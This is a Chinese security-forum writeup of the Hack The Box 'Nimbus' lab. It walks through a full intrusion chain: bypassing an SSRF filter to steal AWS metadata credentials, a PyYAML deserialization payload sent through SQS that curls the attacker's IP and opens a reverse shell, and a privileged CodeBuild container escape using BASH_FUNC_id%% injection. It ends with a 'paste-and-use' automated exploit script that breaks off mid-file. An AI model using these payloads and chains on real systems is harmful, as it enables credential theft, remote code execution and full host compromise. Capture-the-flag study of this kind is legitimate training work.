首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
WEB安全
发新帖
0
1
[原创]HTB Nimbus渗透测试靶机 Writeup
发表于: 2026-8-10 23:41
2631
[原创]HTB Nimbus渗透测试靶机 Writeup
Fulucky0
1
2026-8-10 23:41
2631
# 前言 本WP旨在讲解HTB上的Nimbus靶机。这个题考察了包括aws、ssrf、容器逃逸等诸多知识点,天天打ctf的我基本没接触过aws,只能一边查一边学,兜兜转转的写了几百行笔记还不知道覆盖的全不全。 # 初步探查 我们的靶机ip是10.129.245.218,访问一下会跳转到nimbus.htb,在hosts文件里先添加`10.129.245.218 nimbus.htb`。 然后先启用nmap对目标做一个快速全端口扫描,得到以下结果:  *用全扫是因为之前老是扫top1000然后漏端口* 扫描只有22与80端口。访问`<mark class="encrypted">604K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3&6A6L8h3u0#2M7#2)9J5k6h3S2@1j5W2)9$3x3q4!0q4y4g2)9&6x3q4)9^5c8g2!0q4y4g2)9^5c8W2)9&6x3g2!0q4y4#2)9^5c8g2!0n7x3q4!0q4z5g2!0m8x3g2!0n7y4g2!0q4z5g2)9&6c8q4!0m8x3W2!0q4z5g2)9^5y4#2)9^5b7#2!0q4y4q4!0n7z5q4)9^5x3q4!0q4y4g2)9^5y4g2!0n7x3g2!0q4y4W2)9&6b7#2)9^5z5g2!0q4y4q4!0n7z5q4)9^5z5g2!0q4y4q4!0n7z5q4!0m8b7g2!0q4y4#2!0m8b7W2!0m8c8W2!0q4y4g2)9^5c8W2!0m8x3#2!0q4y4g2)9^5c8W2!0m8c8W2!0q4y4q4!0n7b7W2!0m8y4g2!0q4z5q4!0m8c8g2!0n7c8W2!0q4z5g2)9&6y4#2!0m8c8g2!0q4c8W2!0n7b7#2)9^5z5q4!0q4y4g2)9^5c8W2!0n7x3#2!0q4y4q4!0n7z5q4)9^5b7W2!0q4z5q4!0m8y4#2)9&6x3W2!0q4y4#2)9&6b7g2)9^5y4q4)9J5c8X3c8G2j5%4y4Q4c8e0k6Q4z5e0S2Q4b7f1j5@1x3o6c8Q4c8f1k6Q4b7V1y4Q4z5o6V1`.</mark>  点击下方的`/api/v1/health`,其返回了一段json文本 ```json { "services":{ "queue":{ "endpoint":"http://aws.nimbus.htb", "status":"ok" }, "scheduler":{ "endpoint":"http://aws.nimbus.htb", "status":"ok" }, "storage":{ "endpoint":"http://aws.nimbus.htb", "status":"ok" } }, "status":"healthy", "version":"1.4.2" } ``` 这里暴露了其下的一个子域名`aws.nimbus.htb`(后续爆破子域名也只发现了这个),同样添加到hosts里访问,发现响应为403  响应显示我携带的token非法,而且格式与官方aws相同,说明其本地应该实现了一套 AWS 服务模拟器且访问`aws.nimbus.htb`存在鉴权。转回`nimbus.htb`先看看有没有什么让我们能够访问本地aws服务的方法。 # http服务探查 先尝试使用`dirsearch`扫描目标网站尝试获取一些隐藏的路由,不过扫描完发现扫出来的路由与页面提供的路由没有区别,因此转向业务探查。 点击`Sign In`,其说明`Sign-in temporarily unavailable`并给出了跳转到`/jobs`的超链接,因此猜测重心要放在提交jobs的路由上。   这两个页面可以看到,服务器期望接收一个`yaml`文件,可以是从url里获取,也可以是直接发送完整的yaml文本。在提交YAML代码的文本框下方还有一行小字`Parsed with safe_load. No code execution at submission time.` `safe_load`配合`YAML`,很容易让人联想到python库里的`yaml.safe_load()`,因此这里的信息可以猜测该web服务器使用了python架构,本地模拟的aws也应该是用python跑的`LocalStack` ## YAML反序列化漏洞 python的yaml库有两种加载yaml代码的函数:`yaml.load()`与`yaml.safe_load()`,其中,前者可以通过标签实例化任何python对象,后者虽然也存在过风险,但是一般不会导致RCE。 本题目里虽然前端说自己是safe_load,但是也可以拿用于load的payload来试一试: ```YAML !!python/object/apply:os.system - "whoami" ```  解析失败,看来`/job/preview`路由确实使用的是安全的`safe_load`。随便提交一段合法文本看看回显:  这里给出了一些未来可能会用到的信息: 1. YAML代码在成功解析以后会被提交到一个叫`nimbus-jobs`的队列里用于解析,这个队列很可能是aws服务里的`sqs`消息队列服务。 2. 后端模拟的aws服务使用地区是`us-east-1`,假如能拿到凭证,需要在环境变量里修改地区。 3. 结合`picked up by workers running nimbus/worker`,我们发送进去的YAML会被一个叫`workers`的机器人获取并解析。 基于第三条,我有理由猜测:只有前端(或者叫代理端)使用了`safe_load`来避免实例化对象,但是前端审查过了,后端为图方便很可能在解析YAML时使用了不安全的`yaml.load`来解析YAML代码。 因此,现在就是要想想怎么绕过前端向后端的aws服务的sqs的队列里送入一个会实例化恶意对象的YAML代码。 ## 有过滤的SSRF 既然现在的目标是往aws服务送东西,那无论如何得先有个aws的凭证,也就是`AK`与`SK`,如果是临时凭证还需要token。 首先我们要先知道:对于所有的aws服务,其创建的虚拟主机,内部都会固定一个ip:`169.254.169.254`,这个ip上绑定的服务就是**IMDS (Instance Metadata Service,实例元数据服务)** 这个服务让运行在这个虚拟机内部的程序或脚本,不需要任何密码或配置文件,就能直接查询自己当前的运行状态和配置信息,尤其是可以无认证**访问到自己的临时凭证与token**。 我们先在本地开一个python服务,放一个a.yaml文件,里面随便写点内容,然后让服务器访问它。   可以看到确实能访问我们的页面,而且会显示访问到的原始内容,很适合作为一个ssrf来对内网进行探测。但是下面有行小字:`URL must point to a .yaml file. Internal addresses and metadata endpoints are blocked.`,它声明本地地址被禁用,同时URL似乎必须要指向一个`.yaml`文件。不过刚才的访问测试告诉我们它似乎并没有校验访问到的文件格式是不是yaml,换句话说,**它很可能是做的字符串校验而没有真正做访问校验。** 直接用其访问`<mark class="encrypted">5e7K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9J5c8X3q4Q4x3X3g2&6j5h3#2D9i4K6j5H3i4@1f1@1i4@1t1^5i4K6S2q4i4K6j5H3K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5H3i4K6u0W2x3e0m8Q4x3X3f1I4y4W2)9J5k6e0j5I4i4K6y4m8z5o6l9H3x3q4)9$3x3q4!0q4y4g2)9&6x3q4)9^5y4q4!0q4z5q4!0n7c8W2)9&6y4q4!0q4y4g2)9&6b7W2)9&6c8g2!0q4y4q4!0n7b7W2!0m8y4g2!0q4y4q4!0n7z5q4)9^5b7W2!0q4y4W2)9^5b7g2!0m8y4g2!0q4z5g2)9&6y4q4)9&6z5g2!0q4c8W2!0n7b7#2)9&6b7b7`.`.</mark>  *127.0.0.1可以看到其因为本地地址被拦截了*  *可以看到因为字符串后缀被拦截了* 那么怎么绕过呢?针对这种字面量的匹配很好绕过。对于像本地地址这种匹配,一般改写成10进制或者8进制的地址形式就可以进行绕过,一般的url解析器也会正常解析地址。而像.yaml这种后缀校验匹配也可以选择把它以GET参数形式`?a=a.yaml`写在路由末尾就行,只要参数不存在就不会影响我们正常进行访问。 输入`<mark class="encrypted">e70K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0l9I4y4K6N6Q4x3X3f1H3x3o6l9H3i4K6u0W2x3o6l9H3x3q4)9J5k6e0l9H3x3o6q4Q4x3V1k6Q4x3@1k6S2i4K6y4p5j5g2)9J5k6i4W2S2L8h3I4Q4y4U0l9`.</mark>  可以看到其正常回显,并没有拦截我们的访问。 那么现在ssrf的问题解决了,我们就可以尝试访问`169.254.169.254`来获取我们需要的AK、SK与token。一般而言,访问`<mark class="encrypted">e30K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5$3z5g2)9J5k6e0t1#2y4q4)9J5k6e0p5$3z5g2)9J5k6e0t1#2y4q4)9J5c8X3I4S2N6r3g2K6N6q4)9J5c8X3#2W2N6r3q4Q4x3X3c8V1j5i4c8S2i4K6u0r3K9h3q4E0i4K6u0r3M7$3g2U0N6i4u0A6N6s2W2Q4x3X3c8U0M7X3g2V1k6h3&6@1K9h3q4D9M7#2)9J5c8W2)9$3x3q4!0q4y4W2)9^5z5q4)9&6x3g2!0q4y4q4!0n7b7W2!0m8b7#2!0q4y4g2!0n7x3q4!0n7x3g2!0q4y4g2)9^5c8W2!0m8c8W2!0q4y4q4!0n7b7W2!0m8y4g2!0q4y4#2)9&6b7#2)9^5b7W2!0q4y4g2)9^5z5q4!0n7x3q4!0q4y4g2!0n7c8q4)9&6x3#2!0q4y4g2)9^5z5g2)9^5c8q4!0q4y4#2)9&6y4q4!0m8z5q4!0q4y4W2)9^5z5q4!0n7y4#2!0q4y4#2)9&6b7g2)9^5y4q4!0q4z5q4!0m8y4#2)9&6x3W2!0q4z5q4)9^5z5g2!0n7x3W2!0q4c8W2!0n7b7#2)9^5z5q4!0q4y4g2)9&6x3q4)9^5b7#2!0q4y4W2!0m8x3q4!0n7y4#2!0q4y4q4!0n7z5g2)9&6c8W2!0q4y4W2)9&6z5q4!0m8c8W2!0q4z5q4!0m8c8W2!0m8y4g2!0q4z5q4!0n7y4#2!0m8c8W2!0q4y4g2!0n7c8g2)9^5y4q4!0q4y4q4!0n7z5q4)9^5b7W2!0q4y4g2!0m8c8q4)9&6z5q4!0q4y4g2)9&6b7#2!0m8z5q4!0q4y4#2)9&6b7g2)9^5y4q4!0q4z5q4!0n7y4#2!0m8c8W2!0q4y4#2)9&6y4q4!0n7x3g2!0q4c8W2!0n7b7#2)9^5z5g2!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4#2)9^5y4q4!0n7y4W2!0q4y4g2)9&6x3q4)9^5c8g2!0q4z5q4!0m8c8g2!0n7c8W2!0q4z5g2)9&6y4#2!0m8c8g2!0q4z5q4!0m8c8W2!0m8y4g2!0q4z5q4!0n7y4#2!0m8c8W2!0q4y4#2)9&6y4q4!0n7x3g2!0q4y4g2)9^5c8q4!0n7x3#2!0q4y4g2)9^5c8W2!0m8c8W2!0q4y4g2!0n7c8g2)9&6y4#2!0q4y4g2)9^5z5q4!0n7x3q4!0q4y4W2)9^5z5q4)9&6x3g2!0q4y4q4!0n7b7W2!0m8b7#2!0q4z5g2)9&6b7#2)9^5x3q4!0q4z5q4!0m8y4W2)9^5x3g2!0q4y4#2)9&6b7g2)9^5y4q4!0q4y4g2)9^5y4#2!0m8c8q4!0q4z5q4!0m8c8W2)9^5x3g2!0q4x3#2)9^5x3q4)9^5x3R3`.`.</mark> 构造`<mark class="encrypted">d47K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0l9J5y4e0q4Q4x3X3f1H3x3K6M7$3i4K6u0W2x3o6t1#2x3g2)9J5k6e0l9K6y4K6k6Q4x3V1k6D9j5i4c8W2M7%4c8Q4x3V1k6E0k6i4c8S2i4K6u0V1k6r3q4@1j5g2)9J5c8X3W2S2L8g2)9J5c8Y4y4W2j5%4g2J5K9i4c8&6i4K6u0V1j5%4u0W2k6r3g2F1N6r3W2S2L8s2y4Q4x3V1k6Q4x3@1k6S2i4K6y4p5j5g2)9J5k6i4W2S2L8h3I4Q4y4U0l9`.</mark>  访问`<mark class="encrypted">b08K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0l9J5y4e0q4Q4x3X3f1H3x3K6M7$3i4K6u0W2x3o6t1#2x3g2)9J5k6e0l9K6y4K6k6Q4x3V1k6D9j5i4c8W2M7%4c8Q4x3V1k6E0k6i4c8S2i4K6u0V1k6r3q4@1j5g2)9J5c8X3W2S2L8g2)9J5c8Y4y4W2j5%4g2J5K9i4c8&6i4K6u0V1j5%4u0W2k6r3g2F1N6r3W2S2L8s2y4Q4x3V1k6F1K9h3#2T1N6i4y4Q4x3X3c8%4k6h3u0Q4x3X3c8J5L8$3I4W2i4K6y4r3j5g2)9K6c8r3q4Q4x3X3g2&6j5h3#2D9i4K6j5H3</mark>  成功窃取到当前用户的aws凭证。在kali里先导入以下环境变量: ```bash export AWS_ACCESS_KEY_ID="ASIAQX4PG7L2K9M3N5R8" export AWS_SECRET_ACCESS_KEY="bXJ7K8mP/q2Hf+vN9wT4LcRe5Y1Aoz3DhU6gKjQs" export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEHQaCXVzLWVhc3QtMSJGMEQCIBhV9zPmK3wQjL4nT8vR2xY7AoFqUk5HsP6BeMcW1aDgAiAR4tNoXzKp8VnJqL7mC3xY9FhWdQ5GBPmRkX2vT8jY6yqsAQiK//////////8BEAEaDDAwMDAwMDAwMDAwMCIMNZ5tQ7vEX2pKlHfqKtoBQwK5HmBcN4gXjVrUe1Pk9YsZ7DqWfThN3bMRoLYyJsKn8GpVxAcQ5VeWk2HiqXbF6CnXmM4PdYpL3rJzKqGtNvBfHcWyXa8jPzTn5LRMkV1QbWdAyKpGfHzNvU8TmEcL2qPdRhJsKgGn3VyXmFbBcNJ7QrHe5VpDxKfM" # 在提交原始yaml后的页面里有显示地区,所以这里也要加上 export AWS_DEFAULT_REGION="us-east-1" ``` 然后执行`aws sts get-caller-identity --endpoint '<mark class="encrypted">00aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3q4%4M7#2)9J5k6h3&6A6L8h3u0#2M7#2)9J5k6h3S2@1j5W2)9J5y4#2)9$3x3q4!0q4y4W2!0m8x3#2)9^5x3q4!0q4y4W2)9&6c8W2!0m8y4g2!0q4y4g2)9^5y4#2!0m8c8q4!0q4z5q4!0m8c8W2)9^5x3g2!0q4y4W2)9&6z5q4!0m8c8W2!0q4y4g2)9&6x3q4!0m8y4W2!0q4z5q4)9^5x3#2!0n7c8q4!0q4y4W2!0m8c8q4!0m8x3#2!0q4y4g2!0n7z5q4!0n7z5q4!0q4y4q4!0n7c8q4!0n7c8W2!0q4y4#2)9&6y4q4!0m8z5q4!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4W2)9^5z5q4)9&6x3g2!0q4y4q4!0n7b7W2!0m8b7#2!0q4y4W2)9&6z5q4!0m8c8W2!0q4y4g2)9&6x3q4!0m8y4W2!0q4z5q4)9^5x3#2!0n7c8q4!0q4z5q4!0n7c8W2)9&6b7W2!0q4z5q4!0m8x3g2)9^5b7#2!0q4z5q4!0m8c8g2!0n7c8W2!0q4z5g2)9&6y4#2!0m8c8b7`.`.</mark>  可以看到我们能够获取到当前用户的信息,aws凭证有效。下一步就是要探查这个凭证有什么权限。 # aws 队列消息投毒 本来想用`Pacu`工具对我们拿到的凭证做探查的,结果这个工具没有sqs探测,主要用的都是iam探测,导致我跑了半天没跑出来可用的权限,最后差点以为这个凭证没有任何用处。。。。 这里改用一个轻量化的枚举探测工具`enumerate-iam`来进行权限探测(github地址:`<mark class="encrypted">671K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6S2L8X3c8J5k6i4y4J5K9h3q4F1j5$3S2G2i4K6u0r3k6h3&6#2L8h3g2J5j5i4c8W2i4K6u0V1K9h3q4E0i4K6j5H3i4@1f1K6i4K6R3H3i4K6R3J5i4@1f1@1i4@1u0p5i4@1u0r3i4@1f1%4i4K6V1@1i4@1p5^5i4@1f1$3i4K6V1%4i4@1t1$3i4@1f1#2i4@1p5$3i4K6R3J5i4@1f1$3i4K6W2q4i4K6W2o6i4@1f1$3i4K6S2r3i4K6V1H3i4@1f1%4i4@1p5@1i4@1u0m8i4@1f1&6i4K6V1@1i4K6V1&6i4@1f1^5i4@1q4r3i4@1q4r3i4@1g2r3i4@1u0o6i4K6S2o6i4@1f1^5i4@1q4q4i4@1t1H3i4@1f1#2i4@1u0q4i4K6V1%4i4@1f1$3i4K6S2m8i4K6S2m8i4@1f1^5i4@1u0r3i4K6V1&6i4@1f1@1i4@1t1^5i4K6R3H3i4@1f1^5i4@1p5I4i4K6S2o6i4@1f1@1i4@1u0n7i4@1p5K6i4@1f1%4i4@1p5H3i4K6R3I4i4@1f1$3i4@1t1K6i4@1p5^5i4@1f1&6i4K6R3%4i4K6S2m8i4@1f1$3i4K6S2q4i4K6R3&6i4@1g2r3i4@1u0o6i4K6W2m8i4K6j5H3N6i4u0D9L8r3W2T1x3#2)9J5k6h3c8A6M7$3q4T1L8r3g2Q4y4h3k6%4j5i4u0F1K9h3&6Y4M7#2)9J5z5r3u0G2N6r3!0U0L8%4u0W2i4K6u0W2N6X3g2F1k6r3!0J5k6h3c8Q4x3X3g2J5k6i4q4#2k6i4y4@1M7#2)9J5k6i4m8S2j5$3E0S2k6$3g2K6i4K6u0W2N6i4u0D9L8r3W2T1x3#2)9J5k6h3g2^5j5$3g2H3N6r3W2G2L8Y4y4Q4x3X3g2u0L8Y4y4W2j5%4g2J5k6g2u0W2M7i4g2W2M7%4c8i4j5i4u0F1K9h3&6Y4i4K6t1&6i4K6j5H3i4@1g2r3i4@1u0o6i4K6R3&6</mark> ```bash # 使用前需要配置环境变量 export AWS_DEFAULT_REGION="us-east-1" export AWS_REGION="us-east-1" export AWS_ENDPOINT_URL="http://aws.nimbus.htb" python3 enumerate-iam.py \ --access-key "ASIAQX4PG7L2K9M3N5R8" \ --secret-key "bXJ7K8mP/q2Hf+vN9wT4LcRe5Y1Aoz3DhU6gKjQs" \ --session-token "IQoJb3JpZ2luX2VjEHQaCXVzLWVhc3QtMSJGMEQCIBhV9zPmK3wQjL4nT8vR2xY7AoFqUk5HsP6BeMcW1aDgAiAR4tNoXzKp8VnJqL7mC3xY9FhWdQ5GBPmRkX2vT8jY6yqsAQiK//////////8BEAEaDDAwMDAwMDAwMDAwMCIMNZ5tQ7vEX2pKlHfqKtoBQwK5HmBcN4gXjVrUe1Pk9YsZ7DqWfThN3bMRoLYyJsKn8GpVxAcQ5VeWk2HiqXbF6CnXmM4PdYpL3rJzKqGtNvBfHcWyXa8jPzTn5LRMkV1QbWdAyKpGfHzNvU8TmEcL2qPdRhJsKgGn3VyXmFbBcNJ7QrHe5VpDxKfM" ```  可以看到探测出了`sqs.list_queues()`函数,能够列出当前队列的url。再结合先前我们的发现:“后端似乎有个workers机器人在不断解析传进队列里的yaml”,我们就可以尝试一下`sqs.get-queue-attributes()`与`sqs.send-message()`来看看当前队列 先看看队列的url: ```bash aws sqs list-queues --endpoint-url http://aws.nimbus.htb ``` 返回为: ```json { "QueueUrls": [ "http://floci:4566/847219365028/nimbus-jobs" ] } ``` 这个`nimbus-jobs`与网页上显示的`nimbus-jobs`对上了。查看当前队列的属性信息: ```bash aws sqs get-queue-attributes --endpoint-url http://aws.nimbus.htb --queue-url "http://floci:4566/847219365028/nimbus-jobs" ``` 返回为: ```json { "Attributes": { "DelaySeconds": "0", "MessageRetentionPeriod": "345600", "MaximumMessageSize": "262144", "VisibilityTimeout": "30", "QueueArn": "arn:aws:sqs:us-east-1:847219365028:nimbus-jobs", "CreatedTimestamp": "1786349345", "LastModifiedTimestamp": "1786349345", "ApproximateNumberOfMessages": "0", "ApproximateNumberOfMessagesNotVisible": "0" } } ``` 其中`ApproximateNumberOfMessages`与`ApproximateNumberOfMessagesNotVisible`很特别:他们两个都是0,说明当前队列里的消息都被处理完了,但是我们在前端那里确实发送过一些YAML到队列里,这些信息相互论证,我们就更能确定:有个机器人在消费这些信息,它接收yaml代码,而且有理由怀疑它使用了不安全的`yaml.load`进行解析。构造`sqs.send-message`命令向队列里进行投毒: ```bash aws sqs send-message \ --queue-url "http://aws.nimbus.htb/847219365028/nimbus-jobs" \ --message-body '!!python/object/apply:subprocess.Popen [["/bin/bash", "-c", "curl http://10.10.16.61:8000/AttackSuccess"]]' \ --endpoint-url "http://aws.nimbus.htb" ```   可以看到成功进行了RCE!接下来把命令换成反弹shell的命令,获取到消费消息的机器人worker的shell。  成功获取到`worker`环境的shell并拿到user.txt。 # 内网环境探查与容器逃逸 现在虽然拿到shell了但是不能过于高兴,因为简单的看一眼就知道:用户名旁边那一串十六进制数就不像个正常的用户环境。而且执行`ls -al /.dockerenv`发现文件存在,这就更加论证了worker环境是一个容器环境。 容器环境一般工具都很少,这里我们先把一个很好用的工具`busybox`传上去。这个工具很小,但它集成了 300+ 个最常用 Linux 命令的精简版,包括像`wget`、`curl`、`mount`这些命令它都有,因而可以很好的缓解容器环境工具缺乏的问题。  不过我这里一开始没有注意到这是个容器环境,傻乎乎的往上面传`linpeas.sh`,结果什么都没跑出来,还耽误了不少时间。*(不过传脚本自动探测多舒服,自己打+思考还要烧脑子的token)* 执行`./busybox ifconfig`看看网段  再用`./busybox netstat -tulnp`看看本地有哪些在监听的端口:  其在172.18.0.3网段下,又只看得到在127.0.0.11上的端口监听,非常符合容器内环境的特征。既然这样,我们就该先看看同网段的其他容器有哪些可以访问端口。 先把`nmap`的静态二进制文件上传,再做全端口扫描(同样避免漏扫),不过由于是本地所以速率可以提升到5000。(容器内发现/etc/services存在因此没有上传) ```bash # 没有root权限(windows上执行该命令不需要太高的权限),所以需要删减一些参数 ./nmap 172.18.0.0/24 -p- --min-rate 5000 ```  172.18.0.1上开放了22与80端口,可以很快就想到这应该就是宿主机的ip地址,这也和我们前面进行的全扫描得到的结果一致。不过在`172.18.0.2`上,我们又发现了两个全新的端口:4566与9169。 用curl命令访问9169显示404,但是访问4566端口却得到了不一样的回显: ```xml <?xml version="1.0" encoding="UTF-8"?><ListAllMyBucketsResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Owner><ID>owner</ID><DisplayName>owner</DisplayName></Owner><Buckets><Bucket><Name>nimbus-dev-artifacts</Name><CreationDate>2026-08-10T08:09:06.862193160Z</CreationDate></Bucket></Buckets></ListAllMyBucketsResult>w ``` 很显然这是aws服务的接口,准确的说是`LocalStack`的接口,端口4566也能与LocalStack对应上:它是单端口API,所有服务公用4566端口。 本地部署的`LocalStack`有个在提权里很危险的配置:`LocalStack`本体不验证`SigV4`签名,虽然有个默认凭证`test/test`但是凭证只是形式,只要能直连就是无认证的。换句话讲,如果能直连上,**你就相当于拥有了LocalStack的管理员权限** 使用命令确认一下: ```bash # 获取版本信息 curl http://172.18.0.2:4566/_localstack/info # 探测用户角色(检查aws api兼容性) aws --endpoint-url http://172.18.0.2:4566 sts get-caller-identity ```  可以看到版本信息,而且我们直接就是root用户 ## CodeBuild创建特权容器 LocalStack服务里一般就两个能真实执行代码的服务`Lambda`和`CodeBuild`,而前者一般又对提权的用处不大,但后者就不一样了:`CodeBuild`支持使用`privilegeMode`参数来创建特权容器,特权容器相对于普通容器而言,其挂载了宿主机的一切设备,包括**宿主机的硬盘**,我们对它`/dev`下的设备做修改,就相当于对宿主机的设备也做了修改,这些修改会在容器之外影响宿主机本身。 前面的`aws --endpoint-url <mark class="encrypted">6e9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5%4x3W2)9J5k6e0p5^5i4K6u0W2x3q4)9J5k6e0u0Q4x3@1p5@1y4e0j5$3</mark> sts get-caller-identity`命令也探测清楚了,我们就是管理员,完全可以尝试创建一个特权容器然后root权限拿到结束皆大欢喜,但...真的有那么简单吗? 直接创建特权容器: ```python import boto3, uuid cb = boto3.client("codebuild", endpoint_url="http://172.18.0.2:4566", region_name="us-east-1", aws_access_key_id="test", aws_secret_access_key="test") SPEC = """version: 0.2 phases: build: commands: - id - cat /proc/self/status | grep -E 'Uid:|CapEff|Seccomp' - echo BUILD-PROBE-DONE && exit 1 """ # create_project proj = "esc-" + uuid.uuid4().hex[:6] cb.create_project( name=proj, source={"type": "NO_SOURCE"}, # 不拉代码(S3 source 在 LocalStack 不可用,一开始写这个报错) environment={ "type": "LINUX_CONTAINER", # 容器环境 "image": "floci/floci:latest", # 目标已有的镜像 "computeType": "BUILD_GENERAL1_SMALL", "privilegedMode": True, # 特权模式以获取特权容器 }, serviceRole="arn:aws:iam::847219365028:role/codebuild-role", artifacts={"type": "NO_ARTIFACTS"}, ) resp = cb.start_build( projectName=proj, buildspecOverride=SPEC, # 直接给 buildspec 内容,不走 S3 ) bid = resp["build"]["id"] print("[*] build id:", bid) import time for i in range(15): # 最多查 15 次 time.sleep(4) # 每次间隔 4 秒(构建启动+跑命令需要时间) b = cb.batch_get_builds(ids=[bid])["builds"][0] st = b["buildStatus"] # IN_PROGRESS / SUCCEEDED / FAILED / FAULT print(f"[{i*4}s] {st}") if st in ("SUCCEEDED", "FAILED", "FAULT", "STOPPED"): # 终态就停止轮询 for p in b["phases"]: # FAILED 时日志在 phases[].contexts[0].message if p.get("contexts"): print(p["contexts"][0].get("message", "")[:800]) # 日志尾部(~524 字符) break ``` 先声明以上脚本构建时遇到的坑: 1. LocalStack 的 S3 source似乎并不工作,一开始尝试拉取S3的资源结果报错,索性直接`NO_SOURCE`并在构建请求里塞buildspec 2. SUCCEEDED 成功构建时没有日志返回,只有报错才会把日志尾部的内容返回出来放进`phases[].contexts[0].message`,所以在`buildspec`里要以非0状态结束以便看到回显。 把这个脚本上传到worker环境里执行,美滋滋的看看自己的权限...... 往上一传,一致性,一看回显:  我chovy!怎么什么都没执行就失败了啊?怎么可以这样子呢 ### 权限降级与绕过 上述代码里其实没有什么错误,错就错在我们尝试调用特权模式时触发了一个保护机制 我们知道构建容器是 `docker run` 出来的,容器默认是 root,但是很多时候目标镜像环境会做检测,它们不希望使用者拿到docker就拿到了容器的root权限。因此会做检测,如果当前用户是`root`就`gosu`成一个低权限用户。 `gosu`降权路径一走,容器主进程因此退出,LocalStack 的`docker exec`连容器命名空间都进不去,自然也不会有后续的`buildspec`代码执行,特权容器就被拦截于此 但是!绝大多数做权限降级的脚本都是根据命令执行`id`或者`whoami`来判断的,而bash环境有一个特性:环境变量函数导出机制 bash 支持通过环境变量 `BASH_FUNC_<函数名>%%` 向子进程传递函数定义。传递以后执行`函数名`就可以将函数里的文本当作bash脚本进行执行。 于是我们可以"伪装命令": ``` 环境变量名:BASH_FUNC_id%% 值: () { echo uid=1000 gid=1000 groups=1000; } ``` 这样子当目标环境执行`id`时,无论目标环境下我们用户的权限如何,它都只会返回`uid=1000 gid=1000 groups=1000`,绕过了对当前用户的权限检测,自然就可以绕过后续的权限降级了。 最终获取特权容器的脚本如下: ```python import boto3, uuid cb = boto3.client("codebuild", endpoint_url="http://172.18.0.2:4566", region_name="us-east-1", aws_access_key_id="test", aws_secret_access_key="test") FUNC = "() { echo uid=1000 gid=1000 groups=1000; }" # 绕过函数,绕过检测 SPEC = """version: 0.2 phases: build: commands: - id - whoami - cat /proc/self/status | grep -E 'Uid:|CapEff|Seccomp' - echo BUILD-PROBE-DONE && exit 1 """ # create_project proj = "esc-" + uuid.uuid4().hex[:6] cb.create_project( name=proj, source={"type": "NO_SOURCE"}, # 不拉代码(S3 source 在 LocalStack 不可用,一开始写这个报错) environment={ "type": "LINUX_CONTAINER", # 容器环境 "image": "floci/floci:latest", # 目标已有的镜像 "computeType": "BUILD_GENERAL1_SMALL", "privilegedMode": True, # 特权模式以获取特权容器 "environmentVariables": [{"name": "BASH_FUNC_id%%", "value": FUNC}], # 环境变量注入以绕过 }, serviceRole="arn:aws:iam::847219365028:role/codebuild-role", artifacts={"type": "NO_ARTIFACTS"}, ) resp = cb.start_build( projectName=proj, buildspecOverride=SPEC, # 直接给 buildspec 内容,不走 S3 environmentVariablesOverride=[{"name": "BASH_FUNC_id%%", "value": FUNC}], # 环境变量注入以绕过 ) bid = resp["build"]["id"] print("[*] build id:", bid) import time for i in range(15): # 最多查 15 次 time.sleep(4) # 每次间隔 4 秒(构建启动+跑命令需要时间) b = cb.batch_get_builds(ids=[bid])["builds"][0] st = b["buildStatus"] # IN_PROGRESS / SUCCEEDED / FAILED / FAULT print(f"[{i*4}s] {st}") if st in ("SUCCEEDED", "FAILED", "FAULT", "STOPPED"): # 终态就停止轮询 for p in b["phases"]: # FAILED 时日志在 phases[].contexts[0].message if p.get("contexts"): print(p["contexts"][0].get("message", "")[:800]) # 日志尾部(~524 字符) break ```  可以看到id输出显示的就是我们伪造的内容,但是`whoami`执行就是root权限。特权容器创建成功。 反弹shell进入特权容器获取最终的`root.txt`  *成功进入特权容器*  *将宿主机磁盘挂载到`/ttmp`下并获取到root.txt* 之后如果需要持久性访问也很简单,向`/root/.ssh/authorized_keys`写入我们准备好的公钥,用私钥直接连接22端口即可完全拿到宿主机的root权限。 # 完整的exp(ai代劳了) ```python #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ HTB Nimbus —— 一键获取宿主机 root 反弹 shell(自包含,粘贴即用) ==================================================================== 用法(kali 上): python3 exploit_full_chain.py <你的kali VPN IP> 示例: python3 exploit_full_chain.py 10.10.16.61 前置条件: - kali 的 /etc/hosts 已配置: nimbus.htb、aws.nimbus.htb -> 靶机IP - kali 有 ~/.ssh/id_rsa(.pub)(公钥会写入目标 root) - kali 有 aws cli 完整攻击链(自动完成): 1) SSRF(/jobs/preview, 十进制IP+fragment#.yaml 绕过) -> 模拟IMDS 169.254.169.254 -> nimbus-web-role 临时凭证(无需预置任何凭证文件) 2) SQS 消息投递 YAML 反序列化 payload -> worker 容器 RCE 3) worker 容器内免认证 LocalStack(172.18.0.2:4566) 创建 CodeBuild 特权项目 4) BASH_FUNC_id%% 环境变量函数注入,绕过 floci 入口的 gosu 权限降级 5) 特权容器 mount /dev/sda4 -> 挂载宿主机根分区 -> 写入 root authorized_keys 6) SSH root 登录宿主机 -> 触发宿主机反弹 shell -> 本地 nc 监听 6001 接入 root shell """ import ast, html, os, re, subprocess, sys, time, urllib.parse, urllib.request KALI = sys.argv[1] if len(sys.argv) > 1 else "10.10.16.61" PORT = 6001 # 600x 端口系列,默认 6001 NIMBUS = "nimbus.htb" NIMBUS_AWS = "aws.nimbus.htb" BB_URL = "https://busybox.net/downloads/binaries/1.35.0-x86_64-linux-musl/busybox" BB_LOCAL = "/tmp/bb2" KEYFILE = 